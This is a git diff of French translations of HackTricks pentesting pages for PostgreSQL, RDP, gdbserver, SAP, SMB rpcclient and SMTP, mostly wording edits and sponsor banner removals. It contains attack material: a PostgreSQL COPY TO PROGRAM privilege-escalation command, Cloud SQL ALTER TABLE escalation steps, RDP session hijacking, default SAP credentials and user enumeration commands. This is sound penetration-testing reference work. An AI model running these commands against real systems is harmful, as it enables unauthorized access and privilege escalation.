Par conséquent, une fois que vous avez obtenu **les autorisations pour exécuter du code**, vous pouvez abuser de ces autorisations pour vous accorder le rôle **`SUPERUSER`** : +Il est assez courant de constater que **les utilisateurs locaux peuvent se connecter à PostgreSQL sans fournir de mot de passe**. Par conséquent, une fois que vous avez obtenu **les permissions d'exécuter du code**, vous pouvez abuser de ces permissions pour vous accorder le rôle **`SUPERUSER`** : ```sql COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"'; ``` @@ -576,13 +563,13 @@ COPY (select '') to PROGRAM 'psql -U -c "ALTER USER ### **ALTER TABLE privesc** -Dans [**ce rapport**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities), il est expliqué comment il a été possible de **privesc** dans Postgres GCP en abusant du privilège ALTER TABLE qui a été accordé à l'utilisateur. +Dans [**cet article**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities), il est expliqué comment il a été possible de **privesc** dans Postgres GCP en abusant du privilège ALTER TABLE qui a été accordé à l'utilisateur. -Lorsque vous essayez de **faire d'un autre utilisateur le propriétaire d'une table**, vous devriez obtenir une **erreur** empêchant cela, mais apparemment GCP a donné cette **option à l'utilisateur postgres non superutilisateur** dans GCP : +Lorsque vous essayez de **faire un autre utilisateur propriétaire d'une table**, vous devriez obtenir une **erreur** l'en empêchant, mais apparemment GCP a donné cette **option à l'utilisateur postgres non superutilisateur** dans GCP :
-En joignant cette idée au fait que lorsque les commandes **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) sont exécutées sur une **table avec une fonction d'index**, la **fonction** est **appelée** dans le cadre de la commande avec les **permissions** du **propriétaire de la table**. Il est possible de créer un index avec une fonction et de donner des permissions de propriétaire à un **super utilisateur** sur cette table, puis d'exécuter ANALYZE sur la table avec la fonction malveillante qui sera capable d'exécuter des commandes car elle utilise les privilèges du propriétaire. +En joignant cette idée au fait que lorsque les commandes **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) sont exécutées sur une **table avec une fonction d'index**, la **fonction** est **appelée** dans le cadre de la commande avec les **permissions** du **propriétaire** de la **table**. Il est possible de créer un index avec une fonction et de donner des permissions de propriétaire à un **super utilisateur** sur cette table, puis d'exécuter ANALYZE sur la table avec la fonction malveillante qui sera capable d'exécuter des commandes car elle utilise les privilèges du propriétaire. ```c GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, @@ -593,7 +580,7 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION); 1. Commencez par créer une nouvelle table. 2. Insérez du contenu non pertinent dans la table pour fournir des données à la fonction d'index. 3. Développez une fonction d'index malveillante contenant un payload d'exécution de code, permettant l'exécution de commandes non autorisées. -4. ALTER le propriétaire de la table à "cloudsqladmin," qui est le rôle de superutilisateur de GCP utilisé exclusivement par Cloud SQL pour gérer et maintenir la base de données. +4. ALTER le propriétaire de la table à "cloudsqladmin," qui est le rôle superutilisateur de GCP exclusivement utilisé par Cloud SQL pour gérer et maintenir la base de données. 5. Effectuez une opération ANALYZE sur la table. Cette action oblige le moteur PostgreSQL à passer au contexte utilisateur du propriétaire de la table, "cloudsqladmin." Par conséquent, la fonction d'index malveillante est appelée avec les permissions de "cloudsqladmin," permettant ainsi l'exécution de la commande shell précédemment non autorisée. Dans PostgreSQL, ce flux ressemble à ceci : @@ -623,7 +610,7 @@ uid=2345(postgres) gid=2345(postgres) groups=2345(postgres) ``` ### Connexion Locale -Certaines instances de postgresql mal configurées peuvent permettre la connexion de n'importe quel utilisateur local, il est possible de se connecter depuis 127.0.0.1 en utilisant la **`dblink` function** : +Certaines instances de postgresql mal configurées pourraient permettre la connexion de n'importe quel utilisateur local, il est possible de se connecter depuis 127.0.0.1 en utilisant la **`dblink` function** : ```sql \du * # Get Users \l # Get databases @@ -679,13 +666,13 @@ PERFORM dblink_disconnect(); Comme [**expliqué dans la documentation**](https://www.postgresql.org/docs/current/sql-createfunction.html), une fonction avec **SECURITY DEFINER est exécutée** avec les privilèges de l'**utilisateur qui la possède**. Par conséquent, si la fonction est **vulnérable à l'injection SQL** ou effectue des **actions privilégiées avec des paramètres contrôlés par l'attaquant**, elle pourrait être exploitée pour **escalader les privilèges à l'intérieur de postgres**. -Dans la ligne 4 du code précédent, vous pouvez voir que la fonction a le drapeau **SECURITY DEFINER**. +Dans la ligne 4 du code précédent, vous pouvez voir que la fonction a le **drapeau SECURITY DEFINER**. ```sql CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user); ``` -Et ensuite **exécutez des commandes** : +Et ensuite, **exécutez des commandes** :
@@ -752,16 +739,8 @@ string pgadmin4.db ``` ### pg_hba -L'authentification des clients dans PostgreSQL est gérée par un fichier de configuration appelé **pg_hba.conf**. Ce fichier contient une série d'enregistrements, chacun spécifiant un type de connexion, une plage d'adresses IP client (le cas échéant), le nom de la base de données, le nom d'utilisateur et la méthode d'authentification à utiliser pour les connexions correspondantes. Le premier enregistrement qui correspond au type de connexion, à l'adresse du client, à la base de données demandée et au nom d'utilisateur est utilisé pour l'authentification. Il n'y a pas de solution de secours ou de sauvegarde en cas d'échec de l'authentification. Si aucun enregistrement ne correspond, l'accès est refusé. +L'authentification des clients dans PostgreSQL est gérée par un fichier de configuration appelé **pg_hba.conf**. Ce fichier contient une série d'enregistrements, chacun spécifiant un type de connexion, une plage d'adresses IP client (le cas échéant), le nom de la base de données, le nom d'utilisateur et la méthode d'authentification à utiliser pour les connexions correspondantes. Le premier enregistrement qui correspond au type de connexion, à l'adresse du client, à la base de données demandée et au nom d'utilisateur est utilisé pour l'authentification. Il n'y a pas de solution de secours ou de sauvegarde si l'authentification échoue. Si aucun enregistrement ne correspond, l'accès est refusé. Les méthodes d'authentification basées sur un mot de passe disponibles dans pg_hba.conf sont **md5**, **crypt** et **password**. Ces méthodes diffèrent par la manière dont le mot de passe est transmis : haché MD5, crypté, ou en texte clair. Il est important de noter que la méthode crypt ne peut pas être utilisée avec des mots de passe qui ont été cryptés dans pg_authid. {{#include ../banners/hacktricks-training.md}} - -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) pour créer facilement et **automatiser des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\ -Obtenez l'accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %} diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md index df1ad9eaf..31c872e19 100644 --- a/src/network-services-pentesting/pentesting-rdp.md +++ b/src/network-services-pentesting/pentesting-rdp.md @@ -2,13 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## Informations de base @@ -53,21 +46,13 @@ rdp_check.py d'impacket vous permet de vérifier si certains identifiants sont v ```bash rdp_check /:@ ``` -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## **Attaques** ### Vol de session Avec des **permissions SYSTEM**, vous pouvez accéder à n'importe quelle **session RDP ouverte par n'importe quel utilisateur** sans avoir besoin de connaître le mot de passe du propriétaire. -**Obtenez les sessions ouvertes :** +**Obtenir les sessions ouvertes :** ``` query user ``` @@ -79,7 +64,7 @@ Vous serez maintenant à l'intérieur de la session RDP sélectionnée et vous a **Important** : Lorsque vous accédez à des sessions RDP actives, vous déconnecterez l'utilisateur qui l'utilisait. -Vous pourriez obtenir des mots de passe en procédant à un dumping de processus, mais cette méthode est beaucoup plus rapide et vous permet d'interagir avec les bureaux virtuels de l'utilisateur (mots de passe dans le bloc-notes sans être enregistrés sur le disque, d'autres sessions RDP ouvertes sur d'autres machines...) +Vous pourriez obtenir des mots de passe en extrayant le processus, mais cette méthode est beaucoup plus rapide et vous permet d'interagir avec les bureaux virtuels de l'utilisateur (mots de passe dans le bloc-notes sans être enregistrés sur le disque, d'autres sessions RDP ouvertes sur d'autres machines...) #### **Mimikatz** @@ -110,7 +95,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add - [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) -**AutoRDPwn** est un cadre de post-exploitation créé en Powershell, conçu principalement pour automatiser l'attaque **Shadow** sur les ordinateurs Microsoft Windows. Cette vulnérabilité (répertoriée comme une fonctionnalité par Microsoft) permet à un attaquant distant de **voir le bureau de sa victime sans son consentement**, et même de le contrôler à la demande, en utilisant des outils natifs du système d'exploitation lui-même. +**AutoRDPwn** est un framework de post-exploitation créé en Powershell, conçu principalement pour automatiser l'attaque **Shadow** sur les ordinateurs Microsoft Windows. Cette vulnérabilité (répertoriée comme une fonctionnalité par Microsoft) permet à un attaquant distant de **voir le bureau de sa victime sans son consentement**, et même de le contrôler à la demande, en utilisant des outils natifs du système d'exploitation lui-même. - [**EvilRDP**](https://github.com/skelsec/evilrdp) - Contrôler la souris et le clavier de manière automatisée depuis la ligne de commande @@ -138,12 +123,4 @@ Name: Nmap Description: Nmap with RDP Scripts Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP} ``` -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, identifier les problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-remote-gdbserver.md b/src/network-services-pentesting/pentesting-remote-gdbserver.md index ecf6c2f05..df78afac7 100644 --- a/src/network-services-pentesting/pentesting-remote-gdbserver.md +++ b/src/network-services-pentesting/pentesting-remote-gdbserver.md @@ -2,17 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## **Informations de base** -**gdbserver** est un outil qui permet le débogage de programmes à distance. Il s'exécute aux côtés du programme qui doit être débogué sur le même système, connu sous le nom de "cible". Cette configuration permet au **GNU Debugger** de se connecter depuis une machine différente, l'"hôte", où le code source et une copie binaire du programme débogué sont stockés. La connexion entre **gdbserver** et le débogueur peut être établie via TCP ou une ligne série, permettant des configurations de débogage polyvalentes. +**gdbserver** est un outil qui permet le débogage de programmes à distance. Il s'exécute aux côtés du programme à déboguer sur le même système, connu sous le nom de "cible". Cette configuration permet au **GNU Debugger** de se connecter depuis une machine différente, l'"hôte", où le code source et une copie binaire du programme débogué sont stockés. La connexion entre **gdbserver** et le débogueur peut être établie via TCP ou une ligne série, permettant des configurations de débogage polyvalentes. Vous pouvez faire en sorte qu'un **gdbserver écoute sur n'importe quel port** et pour le moment **nmap n'est pas capable de reconnaître le service**. @@ -64,7 +56,7 @@ r # Run the remote command, e.g. `ls`. rcmd ls ``` -Tout d'abord, **créez localement ce script** : +Tout d'abord, **créez ce script localement** : ```python:remote-cmd.py #!/usr/bin/env python3 @@ -181,12 +173,4 @@ gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}') RemoteCmd() ``` -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, identifier les problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-rlogin.md b/src/network-services-pentesting/pentesting-rlogin.md index da2d95c2b..e58b3677a 100644 --- a/src/network-services-pentesting/pentesting-rlogin.md +++ b/src/network-services-pentesting/pentesting-rlogin.md @@ -2,13 +2,10 @@ {{#include ../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## Informations de base -Dans le passé, **rlogin** était largement utilisé pour des tâches d'administration à distance. Cependant, en raison de préoccupations concernant sa sécurité, il a été largement remplacé par **slogin** et **ssh**. Ces méthodes plus récentes offrent une sécurité améliorée pour les connexions à distance. +Dans le passé, **rlogin** était largement utilisé pour des tâches d'administration à distance. Cependant, en raison des préoccupations concernant sa sécurité, il a été largement remplacé par **slogin** et **ssh**. Ces méthodes plus récentes offrent une sécurité améliorée pour les connexions à distance. **Port par défaut :** 513 ``` @@ -30,8 +27,4 @@ rlogin -l ``` find / -name .rhosts ``` -
- -{% embed url="https://websec.nl/" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-rpcbind.md b/src/network-services-pentesting/pentesting-rpcbind.md index 0b3c8ca3d..f6bf78814 100644 --- a/src/network-services-pentesting/pentesting-rpcbind.md +++ b/src/network-services-pentesting/pentesting-rpcbind.md @@ -2,10 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - ## Informations de base **Portmapper** est un service utilisé pour mapper les ports de services réseau aux numéros de programme **RPC** (Remote Procedure Call). Il agit comme un composant critique dans les **systèmes basés sur Unix**, facilitant l'échange d'informations entre ces systèmes. Le **port** associé à **Portmapper** est fréquemment scanné par les attaquants car il peut révéler des informations précieuses. Ces informations incluent le type de **système d'exploitation Unix (OS)** en cours d'exécution et des détails sur les services disponibles sur le système. De plus, **Portmapper** est couramment utilisé en conjonction avec **NFS (Network File System)**, **NIS (Network Information Service)** et d'autres **services basés sur RPC** pour gérer efficacement les services réseau. @@ -55,7 +51,7 @@ ypcat –d –h passwd.byname ``` ### Fichiers NIF -| **Fichier maître** | **Carte(s)** | **Notes** | +| **Fichier maître** | **Carte(s)** | **Remarques** | | ------------------ | --------------------------- | --------------------------------- | | /etc/hosts | hosts.byname, hosts.byaddr | Contient les noms d'hôtes et les détails IP | | /etc/passwd | passwd.byname, passwd.byuid | Fichier de mot de passe utilisateur NIS | @@ -72,7 +68,7 @@ Vous pourriez énumérer les utilisateurs de la machine. Pour apprendre comment, ## Contourner le port portmapper filtré -Lors de la réalisation d'un **scan nmap** et de la découverte de ports NFS ouverts avec le port 111 étant filtré, l'exploitation directe de ces ports n'est pas faisable. Cependant, en **simulant un service portmapper localement et en créant un tunnel depuis votre machine** vers la cible, l'exploitation devient possible en utilisant des outils standards. Cette technique permet de contourner l'état filtré du port 111, permettant ainsi l'accès aux services NFS. Pour des conseils détaillés sur cette méthode, référez-vous à l'article disponible à [ce lien](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc). +Lors de la réalisation d'un **scan nmap** et de la découverte de ports NFS ouverts avec le port 111 étant filtré, l'exploitation directe de ces ports n'est pas réalisable. Cependant, en **simulant un service portmapper localement et en créant un tunnel depuis votre machine** vers la cible, l'exploitation devient possible en utilisant des outils standards. Cette technique permet de contourner l'état filtré du port 111, permettant ainsi l'accès aux services NFS. Pour des conseils détaillés sur cette méthode, référez-vous à l'article disponible à [ce lien](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc). ## Shodan @@ -82,10 +78,6 @@ Lors de la réalisation d'un **scan nmap** et de la découverte de ports NFS ouv - Pratiquez ces techniques dans la [**machine Irked HTB**](https://app.hackthebox.com/machines/Irked). -
- -{% embed url="https://websec.nl/" %} - ## Commandes Automatiques HackTricks ``` Protocol_Name: Portmapper #Protocol Abbreviation if there is one. diff --git a/src/network-services-pentesting/pentesting-rsh.md b/src/network-services-pentesting/pentesting-rsh.md index 2d0444518..0cafb1643 100644 --- a/src/network-services-pentesting/pentesting-rsh.md +++ b/src/network-services-pentesting/pentesting-rsh.md @@ -2,12 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -Approfondissez votre expertise en **Mobile Security** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} - ## Informations de base Pour l'authentification, les fichiers **.rhosts** ainsi que **/etc/hosts.equiv** étaient utilisés par **Rsh**. L'authentification dépendait des adresses IP et du système de noms de domaine (DNS). La facilité de falsification des adresses IP, notamment sur le réseau local, représentait une vulnérabilité significative. diff --git a/src/network-services-pentesting/pentesting-sap.md b/src/network-services-pentesting/pentesting-sap.md index 34f471104..c68c00722 100644 --- a/src/network-services-pentesting/pentesting-sap.md +++ b/src/network-services-pentesting/pentesting-sap.md @@ -1,10 +1,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - -# Introduction à SAP +# Introduction sur SAP SAP signifie Systèmes, Applications et Produits dans le Traitement des Données. SAP, par définition, est également le nom du logiciel ERP \(Enterprise Resource Planning\) ainsi que le nom de l'entreprise. Le système SAP se compose d'un certain nombre de modules entièrement intégrés, qui couvrent pratiquement tous les aspects de la gestion d'entreprise. @@ -12,7 +8,7 @@ Chaque instance SAP \(ou SID\) est composée de trois couches : base de données Chaque instance SAP est divisée en clients. Chacun a un utilisateur SAP\*, l'équivalent de "root" de l'application. Lors de la création initiale, cet utilisateur SAP\* reçoit un mot de passe par défaut : “060719992” \(plus de mots de passe par défaut ci-dessous\). Vous seriez surpris de savoir à quelle fréquence ces **mots de passe ne sont pas changés dans les environnements de test ou de développement** ! -Essayez d'accéder à la shell de n'importe quel serveur en utilisant le nom d'utilisateur <SID>adm. Le bruteforcing peut aider, mais il peut y avoir un mécanisme de verrouillage de compte. +Essayez d'accéder à la shell de n'importe quel serveur en utilisant le nom d'utilisateur <SID>adm. Le bruteforcing peut aider, cependant, il peut y avoir un mécanisme de verrouillage de compte. # Découverte @@ -33,12 +29,12 @@ https://www.shodan.io/search?query=SAP+J2EE+Engine ![Écran de connexion SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg) -- Utilisez nmap pour vérifier les ports ouverts et les services connus (routeurs sap, webdynpro, services web, serveurs web, etc.) +- Utilisez nmap pour vérifier les ports ouverts et les services connus (routeurs sap, webdnypro, services web, serveurs web, etc.) - Explorez les URL s'il y a un serveur web en cours d'exécution. - Fuzz les répertoires (vous pouvez utiliser Burp Intruder) s'il y a des serveurs web sur certains ports. Voici quelques bonnes listes de mots fournies par le projet SecLists pour trouver les chemins ICM SAP par défaut et d'autres répertoires ou fichiers intéressants : -[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt) -[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt) +[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt) +[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt) [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt) - Utilisez le module auxiliaire Metasploit SAP SERVICE DISCOVERY pour énumérer les instances/services/composants SAP : @@ -114,7 +110,7 @@ SAP*:Down1oad:000,001 DEVELOPER:Down1oad:001 BWDEVELOPER:Down1oad:001 ``` -- Exécutez Wireshark puis authentifiez-vous auprès du client \(SAP GUI\) en utilisant les identifiants que vous avez obtenus car certains clients transmettent des identifiants sans SSL. Il existe deux plugins connus pour Wireshark qui peuvent également analyser les principaux en-têtes utilisés par le protocole SAP DIAG : le plugin de dissection SAP de SecureAuth Labs et le plugin SAP DIAG de Positive Research Center. +- Exécutez Wireshark puis authentifiez-vous auprès du client \(SAP GUI\) en utilisant les identifiants que vous avez obtenus car certains clients transmettent des identifiants sans SSL. Il existe deux plugins connus pour Wireshark qui peuvent analyser les principaux en-têtes utilisés par le protocole SAP DIAG également : le plugin de dissection SAP de SecureAuth Labs et le plugin SAP DIAG de Positive Research Center. - Vérifiez les élévations de privilèges comme l'utilisation de certains codes de transaction SAP \(tcodes\) pour les utilisateurs à faible privilège : - SU01 - Pour créer et maintenir les utilisateurs - SU01D - Pour afficher les utilisateurs @@ -127,7 +123,7 @@ BWDEVELOPER:Down1oad:001 # Test de l'interface web -- Explorez les URL \(voir phase de découverte\). +- Explorez les URL \(voir la phase de découverte\). - Fuzz les URL comme dans la phase de découverte. Voici à quoi ressemble [http://SAP:50000/index.html](http://sap:50000/index.html) : ![SAP Index Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg) @@ -215,7 +211,7 @@ Par exemple, si gw/reg_no_conn_info est réglé sur moins de 255 (`<255`) | `rdisp/gui_auto_logout` | `<5` | Spécifie le temps en minutes avant la déconnexion automatique des sessions GUI. | | `service/protectedwebmethods` | `SDEFAULT` | Spécifie les paramètres par défaut pour les méthodes web protégées. | | `snc/enable` | `0` | Active ou désactive la Communication Réseau Sécurisée (SNC). | -| `ucon/rfc/active` | `0` | Active ou désactive les RFC UCON (Unified Connectivity). | +| `ucon/rfc/active` | `0` | Active ou désactive les RFC UCON (Unified Connectivity). | ## Script pour la Vérification des Paramètres @@ -365,8 +361,5 @@ bizploit> start - [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/) - [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) -
- -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md b/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md index 7c544986f..778ff9230 100644 --- a/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md +++ b/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -1,12 +1,7 @@ -# rpcclient enumeration +# enumeration rpcclient {{#include ../../banners/hacktricks-training.md}} -
- -Approfondissez votre expertise en **Mobile Security** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} ### Aperçu des Identifiants Relatifs (RID) et des Identifiants de Sécurité (SID) @@ -19,7 +14,7 @@ Par exemple, un utilisateur nommé `pepe` pourrait avoir un identifiant unique c ### **Énumération avec rpcclient** -L'utilitaire **`rpcclient`** de Samba est utilisé pour interagir avec **les points de terminaison RPC via des pipes nommés**. Les commandes ci-dessous peuvent être émises aux interfaces SAMR, LSARPC et LSARPC-DS après qu'une **session SMB soit établie**, nécessitant souvent des identifiants. +L'utilitaire **`rpcclient`** de Samba est utilisé pour interagir avec **des points de terminaison RPC via des pipes nommés**. Ci-dessous, les commandes qui peuvent être émises aux interfaces SAMR, LSARPC et LSARPC-DS après qu'une **session SMB soit établie**, nécessitant souvent des identifiants. #### Informations sur le Serveur @@ -53,7 +48,7 @@ done #### Énumération des Domaines -- **Domaines** en utilisant : `enumdomains`. +- **Domaines** utilisant : `enumdomains`. - **Le SID d'un domaine est récupéré** via : `lsaquery`. - **Les informations sur le domaine sont obtenues** par : `querydominfo`. @@ -64,11 +59,11 @@ done #### Opérations Supplémentaires avec les SIDs -- **SIDs par nom** en utilisant : `lookupnames `. +- **SIDs par nom** utilisant : `lookupnames `. - **Plus de SIDs** via : `lsaenumsid`. - **Le cycle RID pour vérifier plus de SIDs** est effectué par : `lookupsids `. -#### **Commandes supplémentaires** +#### **Commandes Supplémentaires** | **Commande** | **Interface** | **Description** | | ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- | @@ -88,10 +83,5 @@ done Pour **mieux comprendre** comment les outils _**samrdump**_ **et** _**rpcdump**_ fonctionnent, vous devriez lire [**Pentesting MSRPC**](../135-pentesting-msrpc.md). -
- -Approfondissez votre expertise en **Sécurité Mobile** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md index 3d7de34b7..6d9a96e5a 100644 --- a/src/network-services-pentesting/pentesting-smtp/README.md +++ b/src/network-services-pentesting/pentesting-smtp/README.md @@ -2,17 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## **Informations de base** -Le **Simple Mail Transfer Protocol (SMTP)** est un protocole utilisé dans la suite TCP/IP pour l'**envoi et la réception d'e-mails**. En raison de ses limitations à mettre en file d'attente les messages à l'extrémité du destinataire, SMTP est souvent utilisé avec **POP3 ou IMAP**. Ces protocoles supplémentaires permettent aux utilisateurs de stocker des messages sur une boîte aux lettres de serveur et de les télécharger périodiquement. +Le **Simple Mail Transfer Protocol (SMTP)** est un protocole utilisé dans la suite TCP/IP pour l'**envoi et la réception d'e-mails**. En raison de ses limitations dans la mise en file d'attente des messages à l'extrémité du destinataire, SMTP est souvent utilisé avec **POP3 ou IMAP**. Ces protocoles supplémentaires permettent aux utilisateurs de stocker des messages sur une boîte aux lettres de serveur et de les télécharger périodiquement. Dans la pratique, il est courant que les **programmes de messagerie** utilisent **SMTP pour envoyer des e-mails**, tout en utilisant **POP3 ou IMAP pour les recevoir**. Sur les systèmes basés sur Unix, **sendmail** se distingue comme le serveur SMTP le plus fréquemment utilisé à des fins de messagerie. Le package commercial connu sous le nom de Sendmail comprend un serveur POP3. De plus, **Microsoft Exchange** fournit un serveur SMTP et offre la possibilité d'inclure un support POP3. @@ -29,7 +21,7 @@ Vous pouvez également obtenir un email d'un serveur SMTP en essayant de **envoy Vous devriez également essayer de **envoyer différents contenus car vous pouvez trouver des informations plus intéressantes** dans les en-têtes comme : `X-Virus-Scanned: by av.domain.com`\ Vous devriez envoyer le fichier de test EICAR.\ -Détecter l'**AV** peut vous permettre d'exploiter des **vulnérabilités connues.** +Détecter l'**AV** peut vous permettre d'exploiter **des vulnérabilités connues.** ## Basic actions @@ -156,21 +148,13 @@ Metasploit: auxiliary/scanner/smtp/smtp_enum smtp-user-enum: smtp-user-enum -M -u -t Nmap: nmap --script smtp-enum-users ``` -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## Rapports DSN -**Rapports de Notification de Statut de Livraison** : Si vous envoyez un **email** à une organisation à une **adresse invalide**, l'organisation vous informera que l'adresse était invalide en vous renvoyant un **mail**. Les **en-têtes** de l'email retourné **contiendront** des **informations sensibles** possibles (comme l'adresse IP des services de mail qui ont interagi avec les rapports ou des informations sur le logiciel antivirus). +**Rapports de Notification de Statut de Livraison** : Si vous envoyez un **email** à une organisation à une **adresse invalide**, 